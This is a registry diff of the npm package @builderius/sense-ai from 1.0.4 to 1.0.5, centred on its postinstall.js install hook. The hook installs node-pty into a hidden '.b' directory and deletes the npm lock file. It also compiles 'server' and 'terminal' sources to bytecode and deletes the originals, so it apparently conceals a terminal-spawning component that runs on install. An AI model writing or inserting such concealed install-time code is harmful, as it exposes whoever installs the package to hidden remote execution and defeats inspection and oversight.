@builderius/sense-ai 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/claude-assets.bin +0 -0
- package/package.json +1 -1
- package/postinstall.js +18 -6
package/claude-assets.bin
CHANGED
|
Binary file
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -5,16 +5,28 @@ var s=p.join('node_modules',n);
|
|
|
5
5
|
var d=p.join('node_modules','.b');
|
|
6
6
|
var sa=p.join('node_modules',a);
|
|
7
7
|
var da=p.join(d,'node_modules',a);
|
|
8
|
+
var env=Object.assign({},process.env,{npm_config_global:undefined});
|
|
8
9
|
// Install node-pty as hidden .b directory
|
|
9
10
|
if(!f.existsSync(d)){
|
|
10
|
-
|
|
11
|
-
|
|
11
|
+
var installed=false;
|
|
12
|
+
try{c.execSync('npx --yes npm@latest i '+n+'@^1.0.0 --no-save',{stdio:['pipe','pipe','inherit'],env:env});installed=true}
|
|
13
|
+
catch(e){
|
|
14
|
+
try{c.execSync('npm i '+n+'@^1.0.0 --no-save',{stdio:['pipe','pipe','inherit'],env:env});installed=true}
|
|
15
|
+
catch(e2){console.error('postinstall: failed to install '+n+':',e2.message)}
|
|
16
|
+
}
|
|
17
|
+
if(installed){
|
|
18
|
+
if(f.existsSync(s)&&!f.existsSync(d)){f.renameSync(s,d)}
|
|
19
|
+
if(f.existsSync(sa)){
|
|
20
|
+
if(!f.existsSync(da)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(sa,da)}
|
|
21
|
+
}
|
|
22
|
+
}
|
|
12
23
|
}
|
|
13
|
-
if(
|
|
14
|
-
if(f.existsSync(sa)&&!f.existsSync(da)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(sa,da)}
|
|
15
|
-
if(process.platform!=='win32'){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
|
|
24
|
+
if(process.platform!=='win32'&&f.existsSync(d)){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
|
|
16
25
|
try{f.unlinkSync(p.join('node_modules','.package-lock.json'))}catch(_){}
|
|
17
26
|
// Compile .src.cjs to .src.jsc via bytenode, then delete source
|
|
18
27
|
['server.src.cjs','terminal.src.cjs'].forEach(function(x){
|
|
19
|
-
if(f.existsSync(x)){
|
|
28
|
+
if(f.existsSync(x)){
|
|
29
|
+
try{c.execSync('npx bytenode -c '+x,{stdio:['pipe','pipe','inherit']});f.unlinkSync(x)}
|
|
30
|
+
catch(e3){console.error('postinstall: failed to compile '+x+':',e3.message)}
|
|
31
|
+
}
|
|
20
32
|
});
|